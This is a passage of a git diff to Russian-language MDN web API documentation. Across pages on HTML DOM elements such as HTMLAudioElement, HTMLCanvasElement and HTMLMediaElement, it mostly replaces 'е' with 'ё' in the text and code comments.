+24,7 @@ original_slug: Web/API/HTMLHyperlinkElementUtils/username <pre class="brush: js">// Допустим, что документ содержит элемент <a id="myAnchor" href="https://anonymous:flabada@developer.mozilla.org/en-US/docs/HTMLHyperlinkElementUtils.username"> var anchor = document.getElementByID("myAnchor"); -var result = anchor.username; // Вернет: 'anonymous' +var result = anchor.username; // Вернёт: 'anonymous' </pre> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlareaelement/index.html b/files/ru/web/api/htmlareaelement/index.html index c9106d1877..1c018dd96a 100644 --- a/files/ru/web/api/htmlareaelement/index.html +++ b/files/ru/web/api/htmlareaelement/index.html @@ -63,7 +63,7 @@ translation_of: Web/API/HTMLAreaElement <dt>{{domxref("HTMLAreaElement.type")}}</dt> <dd>Это {{domxref("DOMString")}} которое отображает {{ htmlattrxref("type", "area") }} HTML атрибут, показывающий MIME тип связанного с ним ресурса.</dd> <dt>{{domxref("URLUtils.username")}}</dt> - <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определенное перед доменным именем.</dd> + <dd>Это {{domxref("DOMString")}} содержащий имя пользователя. определённое перед доменным именем.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/htmlaudioelement/audio/index.html b/files/ru/web/api/htmlaudioelement/audio/index.html index 172faa4863..df1406bca2 100644 --- a/files/ru/web/api/htmlaudioelement/audio/index.html +++ b/files/ru/web/api/htmlaudioelement/audio/index.html @@ -8,7 +8,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() --- <p>{{APIRef("HTML DOM")}}</p> -<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создает и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплен к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p> +<p><span class="seoSummary">Конструктор <code><strong>Audio()</strong></code> создаёт и возвращает новый {{domxref("HTMLAudioElement")}} объект, который может быть прикреплён к документу, чтобы пользователь мог взаимодействовать и/или слушать его, либо может использоваться вне экрана для управления и воспроизведения звука.</span></p> <h2 id="Синтаксис">Синтаксис</h2> @@ -51,7 +51,7 @@ original_slug: Web/API/HTMLAudioElement/Audio() <h3 id="Использование_памяти_и_управление">Использование памяти и управление</h3> -<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удален из памяти механизмом сборщика мусора JavaScript, если в данный момент идет воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путем вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p> +<p>Если все ссылки на аудиоэлемент, созданные с помощью конструктора <code>Audio()</code> удалены, сам элемент не будет удалён из памяти механизмом сборщика мусора JavaScript, если в данный момент идёт воспроизведение. Вместо этого продолжится воспроизведение и объект останется в памяти до тех пор, пока не закончится аудио или оно не будет приостановлено (например, путём вызова {{domxref("HTMLMediaElement.pause", "pause()")}}). В этот момент объект подлежит уничтожению сборщиком мусора.</p> <h2 id="Спецификации">Спецификации</h2> diff --git a/files/ru/web/api/htmlaudioelement/index.html b/files/ru/web/api/htmlaudioelement/index.html index e8fb21e4d6..4ecbafa11a 100644 --- a/files/ru/web/api/htmlaudioelement/index.html +++ b/files/ru/web/api/htmlaudioelement/index.html @@ -56,7 +56,7 @@ translation_of: Web/API/HTMLAudioElement <p><code>mozSetup(in PRUint32 channels, in PRUint32 rate)</code> {{non-standard_inline}}</p> </td> <td><code>void</code></td> - <td>Создает аудиострима для записи. Вы можете указать такие параметры, как количество каналов (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td> + <td>Создаёт аудиострима для записи. Вы можете указать такие параметры, как количество каналов (<code>1</code> for mono or <code>2</code> for stereo), так и частота сэмпла (<code>44100</code> for 44.1kHz, for example).</td> </tr> <tr> <td><code>mozWriteAudio(in jsval data) </code>{{non-standard_inline}}</td> diff --git a/files/ru/web/api/htmlbasefontelement/index.html b/files/ru/web/api/htmlbasefontelement/index.html index a5a4c2f302..1aacd6f9d7 100644 --- a/files/ru/web/api/htmlbasefontelement/index.html +++ b/files/ru/web/api/htmlbasefontelement/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/HTMLBaseFontElement <p><strong><code>HTMLBaseFontElement</code></strong>интерфейс предоставляющий специальные свойства (помимо тех постоянных объектов {{domxref("HTMLElement")}} интерфейса, доступных ему также по наследству) для манипулирования {{HTMLElement("basefont")}} элементами.</p> -<p><code>элемент <basefont></code> устарел HTML4 и удален в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p> +<p><code>элемент <basefont></code> устарел HTML4 и удалён в HTML5. Это последняя спецификация которая этот элемент реализует This latest specification requires that this element implements {{domxref("HTMLUnknownElement")}} вместо <code>HTMLBaseFontElement</code>.</p> <h2 id="Свойства">Свойства</h2> @@ -15,7 +15,7 @@ translation_of: Web/API/HTMLBaseFontElement <dl> <dt><code>HTMLBaseFontElement.color</code></dt> - <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованный цвет или цвет определенный в шестнадцатеричном формате <code>#RRGGBB</code>.</dd> + <dd>Это {{domxref("DOMString")}} представляющий цвет текста, используя либо именованный цвет или цвет определённый в шестнадцатеричном формате <code>#RRGGBB</code>.</dd> <dt><code>HTMLBaseFontElement.face</code></dt> <dd>Это {{domxref("DOMString")}} представляющий список из одного или более имени шрифтов. Текст документа отображается в стиле по умолчанию, первым поддерживаемым клиентским браузером шрифтом. Если нет установленного шрифта на локальной системе, браузер обычно по умолчанию, устанавливает пропорциональный или фиксированной ширины шрифт для этой системы.</dd> <dt><code>HTMLBaseFontElement.size</code></dt> diff --git a/files/ru/web/api/htmlbodyelement/index.html b/files/ru/web/api/htmlbodyelement/index.html index f053136969..c2bfef5572 100644 --- a/files/ru/web/api/htmlbodyelement/index.html +++ b/files/ru/web/api/htmlbodyelement/index.html @@ -23,7 +23,7 @@ translation_of: Web/API/HTMLBodyElement <dt>{{domxref("HTMLBodyElement.text")}} {{obsolete_inline}}</dt> <dd>Это {{ domxref("DOMString") }} который представляет собой основной цвет текста.</dd> <dt>{{domxref("HTMLBodyElement.vLink")}} {{obsolete_inline}}</dt> - <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещенных ссылок.</dd> + <dd>Это {{ domxref("DOMString") }} который представляет собой цвет посещённых ссылок.</dd> </dl> <h2 id="Методы">Методы</h2> diff --git a/files/ru/web/api/htmlbuttonelement/index.html b/files/ru/web/api/htmlbuttonelement/index.html index dc488618d0..86816a631b 100644 --- a/files/ru/web/api/htmlbuttonelement/index.html +++ b/files/ru/web/api/htmlbuttonelement/index.html @@ -25,7 +25,7 @@ translation_of: Web/API/HTMLButtonElement <tr> <td><code>accessKey</code></td> <td>{{domxref("DOMString")}}</td> - <td>Определенная кнопка клавиатуры, дающая доступ к кнопке.</td> + <td>Определённая кнопка клавиатуры, дающая доступ к кнопке.</td> </tr> <tr> <td><code>autofocus</code></td> @@ -107,9 +107,9 @@ translation_of: Web/API/HTMLButtonElement <p>Указывает поведение кнопки. Это перечисляемый атрибут со следующими возможными значениями:</p> <ul> - <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определен, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li> + <li><code>"submit"</code>: Кнопка отправки формы. Это значение по умолчанию, если атрибут не определён, {{HTMLVersionInline(5)}} или если он динамически изменяется на пустое или недопустимое значение.</li> <li><code>"reset"</code>: Кнопка сброса формы.</li> - <li><code>"button"</code>: Кнопка с неопределенным действием.</li> + <li><code>"button"</code>: Кнопка с неопределённым действием.</li> <li><code>"menu"</code>: Кнопка показывающая меню (экспериментальная). {{experimental_inline}}</li> </ul> </td> diff --git a/files/ru/web/api/htmlcanvaselement/capturestream/index.html b/files/ru/web/api/htmlcanvaselement/capturestream/index.html index 9240255f86..b58792b2a3 100644 --- a/files/ru/web/api/htmlcanvaselement/capturestream/index.html +++ b/files/ru/web/api/htmlcanvaselement/capturestream/index.html @@ -40,7 +40,7 @@ var stream = canvasElt.captureStream(25); // 25 FPS // Делать что-то с потоком // например, отправить что-то другому компьютеру, используя RTCPeerConnection -// pc это RTCPeerConnection, созданное где-то еще +// pc это RTCPeerConnection, созданное где-то ещё pc.addStream(stream); </pre> diff --git a/files/ru/web/api/htmlcanvaselement/getcontext/index.html b/files/ru/web/api/htmlcanvaselement/getcontext/index.html index 3ac02908b7..ebd62161f6 100644 --- a/files/ru/web/api/htmlcanvaselement/getcontext/index.html +++ b/files/ru/web/api/htmlcanvaselement/getcontext/index.html @@ -19,12 +19,12 @@ translation_of: Web/API/HTMLCanvasElement/getContext <dd>{{domxref("DOMString")}}, содержащий идентификатор контекста, определяющий контекст рисования, связанный с холстом. Возможные значения: <ul> <li><code>"2d</code>", ведущий к созданию объекта {{domxref("CanvasRenderingContext2D")}}, представляющий двумерный контекст.</li> - <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li> - <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трехмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li> + <li><code>"webgl"</code> (или <code>"experimental-webgl"</code>), который будет создавать объект {{domxref("WebGLRenderingContext")}}, представляющий трёхмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} первой версии (OpenGL ES 2.0).</li> + <li>"<code>webgl2</code>" (или "<code>experimental-webgl2</code>"), который будет создавать объект {{domxref("WebGL2RenderingContext")}}, представляющий трёхмерный контекст. Этот контекст доступен только в браузерах, которые реализуют {{domxref("WebGL")}} второй версии (OpenGL ES 3.0). {{experimental_inline}}</li> <li><code>"bitmaprenderer",</code> который позволит создать {{domxref("ImageBitmapRenderingContext")}}, обеспечивающий только функции для замены содержимого холста с заданным {{domxref("ImageBitmap")}}.</li> </ul> - <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе еще не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p> + <p>Примечание: Идентификаторы "<code>experimental-webgl</code>" или "<code>experimental-webgl2</code>" используются в новых реализациях WebGL. Эти реализации не достигли испытательного набора на соответствие или ситуация с графическими драйверами на платформе ещё не стабильна The <a href="https://www.khronos.org/">Khronos Group</a> certifies WebGL implementations under certain <a href="https://www.khronos.org/registry/webgl/sdk/tests/CONFORMANCE_RULES.txt">conformance rules</a>.</p> </dd> <dt><code>contextAttributes</code></dt> <dd> diff --git a/files/ru/web/api/htmlcanvaselement/toblob/index.html b/files/ru/web/api/htmlcanvaselement/toblob/index.html index 3ec0c1e158..2afcf36825 100644 --- a/files/ru/web/api/htmlcanvaselement/toblob/index.html +++ b/files/ru/web/api/htmlcanvaselement/toblob/index.html @@ -46,7 +46,7 @@ canvas.toBlob(function(blob) { url = URL.createObjectURL(blob); newImg.onload = function() { - // больше не нужно читать blob, поэтому он отменен + // больше не нужно читать blob, поэтому он отменён URL.revokeObjectURL(url); }; @@ -62,7 +62,7 @@ canvas.toBlob(function(blob) { <div> <h3 id="A_way_to_convert_a_canvas_to_an_ico_Mozilla_only">A way to convert a canvas to an ico (Mozilla only)</h3> -<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создается путем установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p> +<p>Это использует <code>-moz-parse</code> для преобразования cnavas в ICO. Windows XP не поддерживает преобразование из PNG в ico, поэтому вместо этого использует bmp. Ссылка для загрузки создаётся путём установки атрибута загрузки. Значение атрибута загрузки - это имя, которое он будет использовать в качестве имени файла.</p> <pre class="brush: js">var canvas = document.getElementById('canvas'); var d = canvas.width; diff --git a/files/ru/web/api/htmldialogelement/index.html b/files/ru/web/api/htmldialogelement/index.html index fd7432b122..835d070939 100644 --- a/files/ru/web/api/htmldialogelement/index.html +++ b/files/ru/web/api/htmldialogelement/index.html @@ -33,7 +33,7 @@ translation_of: Web/API/HTMLDialogElement <dt>{{domxref("HTMLDialogElement.close()")}}</dt> <dd>Закрывает диалоговое окно. Опциональный {{domxref("DOMString")}} может быть передан как аргумент, обновляющий <code>returnValue</code> диалогового окна.</dd> <dt>{{domxref("HTMLDialogElement.show()")}}</dt> - <dd>Показывает диалоговое окно modelessly, т.е. остается возможность взаимодействовать с контентом вне диалогового окна.</dd> + <dd>Показывает диалоговое окно modelessly, т.е. остаётся возможность взаимодействовать с контентом вне диалогового окна.</dd> <dt>{{domxref("HTMLDialogElement.showModal()")}}</dt> <dd>Показывает диалог как модальное окно поверх любых других диалоговых окон, которые также могут существовать в данный момент. Взаимодействие с контентом вне диалогового окна заблокировано.</dd> </dl> diff --git a/files/ru/web/api/htmlelement/accesskey/index.html b/files/ru/web/api/htmlelement/accesskey/index.html index 12df05982c..a8227e569d 100644 --- a/files/ru/web/api/htmlelement/accesskey/index.html +++ b/files/ru/web/api/htmlelement/accesskey/index.html @@ -14,7 +14,7 @@ original_slug: Web/API/Element/accessKey <p>Свойство <font face="Consolas, Monaco, Andale Mono, monospace"><strong>accessKey</strong></font> позволяет перейти к элементу с помощью сочетания клавиш - заданной им и тех, что назначит браузер.</p> <div class="note"> -<p>По сути, <strong>accessKey </strong>задает значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноименного атрибута</a>...</p> +<p>По сути, <strong>accessKey </strong>задаёт значение для <a href="https://developer.mozilla.org/ru/docs/Web/HTML/Global_attributes/accesskey">одноимённого атрибута</a>...</p> </div> <div class="warning"> @@ -39,7 +39,7 @@ elem.accessKey = "w"; <h2 id="Немного_информации">Немного информации</h2> -<p>Фокусировка на элемент произойдет при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p> +<p>Фокусировка на элемент произойдёт при нажатии следующих клавиш (,где<strong> acesskey</strong> - значение свойства<code><strong> acessKey).</strong></code></p> <table class="standard-table" style="height: 252px; width: 388px;"> <tbody> diff --git a/files/ru/web/api/htmlelement/hidden/index.html b/files/ru/web/api/htmlelement/hidden/index.html index 6886374bee..b901a819bd 100644 --- a/files/ru/web/api/htmlelement/hidden/index.html +++ b/files/ru/web/api/htmlelement/hidden/index.html @@ -62,7 +62,7 @@ translation_of: Web/API/HTMLElement/hidden <button class="button" id="okButton">OK</button> </div></pre> -<p>Этот HTML создает панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p> +<p>Этот HTML создаёт панель, которая приветствует пользователей на сайте и рассказывает им о том с чем они соглашаются нажимая на кнопку OK.</p> <h4 id="The_follow-up_panel">The follow-up panel</h4> diff --git a/files/ru/web/api/htmlelement/offsetheight/index.html b/files/ru/web/api/htmlelement/offsetheight/index.html index e8d14948a9..bd26064ef3 100644 --- a/files/ru/web/api/htmlelement/offsetheight/index.html +++ b/files/ru/web/api/htmlelement/offsetheight/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/HTMLElement/offsetHeight --- <div>{{ APIRef("HTML DOM") }}</div> -<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учетом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p> +<p><strong><code>HTMLElement.offsetHeight</code></strong> - высота элемента с учётом вертикальных полей и границ в пикселях. Свойство неизменяемое, только для чтения. Возвращаемое значение - целочисленное.</p> <p>Typically, an element's <code>offsetHeight</code> is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.</p> diff --git a/files/ru/web/api/htmlelement/transitionend_event/index.html b/files/ru/web/api/htmlelement/transitionend_event/index.html index 697806203f..7a0aab188e 100644 --- a/files/ru/web/api/htmlelement/transitionend_event/index.html +++ b/files/ru/web/api/htmlelement/transitionend_event/index.html @@ -6,7 +6,7 @@ tags: translation_of: Web/API/HTMLElement/transitionend_event original_slug: Web/Events/transitionend --- -<p><span style="line-height: 1.5;">Событие </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатывает, когда</span><span style="line-height: 1.5;"> </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;"> закончил свое выполнение. В случае, когда анимация удаляется до ее завершения(например, если <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a> </span><span style="line-height: 1.5;">удаляется), то событие не срабатывает.</span></p> +<p><span style="line-height: 1.5;">Событие </span><code style="font-style: normal; line-height: 1.5;">transitionend</code><span style="line-height: 1.5;"> срабатывает, когда</span><span style="line-height: 1.5;"> </span><a href="/en-US/docs/CSS/Using_CSS_transitions" style="line-height: 1.5;">CSS transition</a><span style="line-height: 1.5;"> закончил своё выполнение. В случае, когда анимация удаляется до её завершения(например, если <a href="/en-US/docs/Web/CSS/transition-property">transition-property [en-US]</a> </span><span style="line-height: 1.5;">удаляется), то событие не срабатывает.</span></p> <h2 id="Общая_информация">Общая информация</h2> @@ -75,11 +75,11 @@ original_slug: Web/Events/transitionend <h2 id="Пример">Пример</h2> <pre class="brush: js">/* - * Обрабатывать событие <span style="font-size: 1rem;">transitionend на определенном элементе, т.е. </span><span style="font-size: 1rem;">#slidingMenu</span> - * Затем, вызвать определенную функцию, т.е. showMessage() + * Обрабатывать событие <span style="font-size: 1rem;">transitionend на определённом элементе, т.е. </span><span style="font-size: 1rem;">#slidingMenu</span> + * Затем, вызвать определённую функцию, т.е. showMessage() */ function showMessage() { - alert('Transition закончил свое выполнение'); + alert('Transition закончил своё выполнение'); } var element = document.getElementById("slidingMenu"); diff --git a/files/ru/web/api/htmlimageelement/image/index.html b/files/ru/web/api/htmlimageelement/image/index.html index 1c96e0f2d1..9236013fa7 100644 --- a/files/ru/web/api/htmlimageelement/image/index.html +++ b/files/ru/web/api/htmlimageelement/image/index.html @@ -7,7 +7,7 @@ translation_of: Web/API/HTMLImageElement/Image <div></div> -<div>Конструктор <strong>Image()</strong> создает новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div> +<div>Конструктор <strong>Image()</strong> создаёт новый экземпляр HTMLImageElement. Эквивалентно document.createElement ('img').</div> <h3 id="Конструктор_элемента_Image">Конструктор элемента Image</h3> diff --git a/files/ru/web/api/htmlinputelement/setselectionrange/index.html b/files/ru/web/api/htmlinputelement/setselectionrange/index.html index 585f5e499f..b444567202 100644 --- a/files/ru/web/api/htmlinputelement/setselectionrange/index.html +++ b/files/ru/web/api/htmlinputelement/setselectionrange/index.html @@ -31,7 +31,7 @@ translation_of: Web/API/HTMLInputElement/setSelectionRange <dt><em>selectionEnd</em></dt> <dd>Индекс символа <em>после</em> последнего выделенного символа.</dd> <dt><em>selectionDirection</em> {{optional_inline}}</dt> - <dd>Строка, определяющая направления произведенного выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвестно или неважно.</dd> + <dd>Строка, определяющая направления произведённого выделения. Принимаются значения "forward", "backward" или "none", если направление выделение неизвестно или неважно.</dd> </dl> <h2 id="Пример">Пример</h2> @@ -58,7 +58,7 @@ function SelectText () { </html> </pre> -<p>приведет к следующему результату:</p> +<p>приведёт к следующему результату:</p> <p><img alt="example.png" class="default internal" src="/@api/deki/files/6104/=example.png"></p> @@ -159,7 +159,7 @@ function SelectText () { <p>[1] Поддержка <code>selectionDirection</code> была добавлена Blink в {{WebkitBug("60403")}}.</p> -<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдает исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p> +<p>Требуется отметить, что согласно спецификации <a href="https://html.spec.whatwg.org/multipage/forms.html#concept-input-apply">WHATWG forms</a> свойства <code>selectionStart</code>, <code>selectionEnd</code> и метод <code>setSelectionRange</code> применяются только к элементам <em>input</em> c типами <em>text</em>, <em>search</em>, <em>URL</em>, <em>tel</em> и <em>password</em>. Начиная с версии 33, Chrome, выдаёт исключение во время попытки доступа к этим свойствам и методу на других типах элемента <em>input</em>. Например, для элемента <em>input</em> типа <em>number</em> появится исключение с сообщением: "Failed to read the 'selectionStart' property from 'HTMLInputElement': The input element's type ('number') does not support selection." Ссылки по теме: <a href="http://stackoverflow.com/questions/21177489/selectionstart-selectionend-on-input-type-number-no-longer-allowed-in-chrome">вопрос на StackOverflow</a>, <a href="https://www.w3.org/Bugs/Public/show_bug.cgi?id=24796">whatwg баг</a>, <a href="https://code.google.com/p/chromium/issues/detail?id=324360">Chromium баг</a>.</p> <p>[2] Поддержка <code>selectionDirection</code> была добавлена в Gecko в {{bug("674558")}}.</p> diff --git a/files/ru/web/api/htmlmediaelement/duration/index.html b/files/ru/web/api/htmlmediaelement/duration/index.html index ec667078a9..5d96bdb7d8 100644 --- a/files/ru/web/api/htmlmediaelement/duration/index.html +++ b/files/ru/web/api/htmlmediaelement/duration/index.html @@ -13,7 +13,7 @@ translation_of: Web/API/HTMLMediaElement/duration <h3 id="Значения">Значения</h3> -<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определенной длины, значение равно <code>Inf</code>.</p> +<p><code>Double</code>. Если медиа данные доступны, но длина неизвестна, то duration будет <code>NaN</code>. Если медиа загружается в фоновом режиме и не имеет заранее определённой длины, значение равно <code>Inf</code>.</p> <h2 id="Пример">Пример</h2> diff --git a/files/ru/web/api/htmlmediaelement/index.html b/files/ru/web/api/htmlmediaelement/index.html index 9bd4e1feca..1b069ef10a 100644 --- a/files/ru/web/api/htmlmediaelement/index.html +++ b/files/ru/web/api/htmlmediaelement/index.html @@ -29,7 +29,7 @@ translation_of: Web/API/HTMLMediaElement <dd>{{Domxref ("AudioTrackList")}}, в котором перечислены объекты {{domxref ("AudioTrack")}}, содержащиеся в элементе.</dd> <dt>{{domxref("HTMLMediaElement.autoplay")}}</dt> <dd>{{Jsxref ("Boolean")}}, который отражает атрибут HTML {{htmlattrxref ("autoplay", "video")}}, указывающий, должно ли воспроизведение начинаться автоматически, как только будет доступно достаточно медиафайлов, чтобы сделать это без прерывания. - <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить ее (требуется, чтобы пользователь специально включил ее). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div> + <div class="note"><strong>Примечание. Сайты, которые автоматически воспроизводят аудио (или видео с аудиодорожкой), могут быть неприятными для пользователей, поэтому их следует по возможности избегать. Если вы должны предлагать функцию автозапуска, вы должны включить её (требуется, чтобы пользователь специально включил её). Однако это может быть полезно при создании элементов мультимедиа, источник которых будет установлен позднее под контролем пользователя.</strong></div> </dd> <dt>{{domxref("HTMLMediaElement.buffered")}} {{readonlyinline}}</dt> <dd>Возвращает объект {{domxref ("TimeRanges")}}, который указывает диапазоны медиаисточника, который браузер буферизировал (если есть) в момент обращения к свойству <code>buffered</code>.</dd> @@ -38,7 +38,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.controls")}}</dt> <dd>Является {{jsxref ('Boolean')}}, который отражает атрибут HTML {{htmlattrxref ("controls", "video")}}, указывающий, должны ли отображаться элементы пользовательского интерфейса для управления ресурсом.</dd> <dt>{{domxref("HTMLMediaElement.controlsList")}} {{readonlyinline}}</dt> - <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трех возможных значений: nodownload, nofullscreen и noremoteplayback.</dd> + <dd>Возвращает {{domxref ("DOMTokenList")}}, который помогает агенту пользователя выбирать элементы управления для отображения на элементе мультимедиа всякий раз, когда агент пользователя показывает свой собственный набор элементов управления. DOMTokenList принимает одно или несколько из трёх возможных значений: nodownload, nofullscreen и noremoteplayback.</dd> <dt>{{domxref("HTMLMediaElement.crossOrigin")}}</dt> <dd>{{Domxref ("DOMString")}}, указывающий настройку CORS для этого медиаэлемента.</dd> <dt>{{domxref("HTMLMediaElement.currentSrc")}} {{readonlyinline}}</dt> @@ -50,7 +50,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.defaultPlaybackRate")}}</dt> <dd>Двойное значение, обозначающее скорость воспроизведения по умолчанию для мультимедиа.</dd> <dt>{{domxref("HTMLMediaElement.disableRemotePlayback")}}</dt> - <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удаленного воспроизведения, указывая, разрешено ли медиаэлементу иметь удаленный пользовательский интерфейс воспроизведения.</dd> + <dd>{{Jsxref ('Boolean')}}, который устанавливает или возвращает состояние удалённого воспроизведения, указывая, разрешено ли медиаэлементу иметь удалённый пользовательский интерфейс воспроизведения.</dd> <dt>{{domxref("HTMLMediaElement.duration")}} {{readonlyinline}}</dt> <dd>Возвращает значение типа double, указывающее длину носителя в секундах, или 0, если данные носителя отсутствуют.</dd> <dt>{{domxref("HTMLMediaElement.ended")}} {{readonlyinline}}</dt> @@ -71,12 +71,12 @@ translation_of: Web/API/HTMLMediaElement <dd> <p>Это unsigned long, который указывает число выборок, которые будут возвращены в кадровом буфере каждого события MozAudioAvailable. Это число является общим для всех каналов, и по умолчанию установлено количество каналов * 1024 (например, 2 канала * 1024 выборок = всего 2048).</p> - <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объемов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p> + <p>Для свойства mozFrameBufferLength может быть установлено новое значение для более низкой задержки, больших объёмов данных и т. Д. Указанный размер должен быть числом от 512 до 16384. Использование любого другого размера приводит к возникновению исключения. Лучшее время для установки новой длины - после того, как сработало событие загруженных метаданных, когда известна аудиоинформация, но до того, как аудио началось, или события MozAudioAvailable начали срабатывать.</p> </dd> <dt>{{domxref("HTMLMediaElement.mozSampleRate")}} {{readonlyinline}} {{non-standard_inline}} {{deprecated_inline}}</dt> <dd>Возвращает двойное число, представляющее количество семплов в секунду, которые будут воспроизведены. Например, 44100 выборок в секунду - это частота дискретизации, используемая аудио CD.</dd> <dt>{{domxref("HTMLMediaElement.muted")}}</dt> - <dd>{{Jsxref ('Boolean')}}, определяющий, отключен ли звук. true, если звук отключен, и false в противном случае.</dd> + <dd>{{Jsxref ('Boolean')}}, определяющий, отключён ли звук. true, если звук отключён, и false в противном случае.</dd> <dt>{{domxref("HTMLMediaElement.networkState")}} {{readonlyinline}}</dt> <dd>Возвращает unsigned short (перечисление), указывающее текущее состояние выборки мультимедиа по сети.</dd> <dt>{{domxref("HTMLMediaElement.paused")}} {{readonlyinline}}</dt> @@ -100,7 +100,7 @@ translation_of: Web/API/HTMLMediaElement <dt>{{domxref("HTMLMediaElement.src")}}</dt> <dd>Это {{domxref ("DOMString")}}, который отражает атрибут HTML {{htmlattrxref ("src", "video")}}, который содержит URL-адрес используемого медиа-ресурса.</dd> <dt>{{domxref("HTMLMediaElement.srcObject")}}</dt> - <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведенный в текущем HTMLMediaElement, или null, если не назначен.</dd> + <dd>{{Domxref ('MediaStream')}}, представляющий медиафайл для воспроизведения или воспроизведённый в текущем HTMLMediaElement, или null, если не назначен.</dd> <dt>{{domxref("HTMLMediaElement.textTracks")}} {{readonlyinline}}</dt> <dd>Возвращает список объектов {{domxref ("TextTrack")}}, содержащихся в элементе.</dd> <dt>{{domxref("HTMLMediaElement.videoTracks")}} {{readonlyinline}}</dt> @@ -124,7 +124,7 @@ translation_of: Web/API/HTMLMediaElement <h2 id="Устаревшие_атрибуты">Устаревшие атрибуты</h2> -<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все еще поддерживает их.</p> +<p>Эти атрибуты устарели и не должны использоваться, даже если браузер все ещё поддерживает их.</p> <dl> 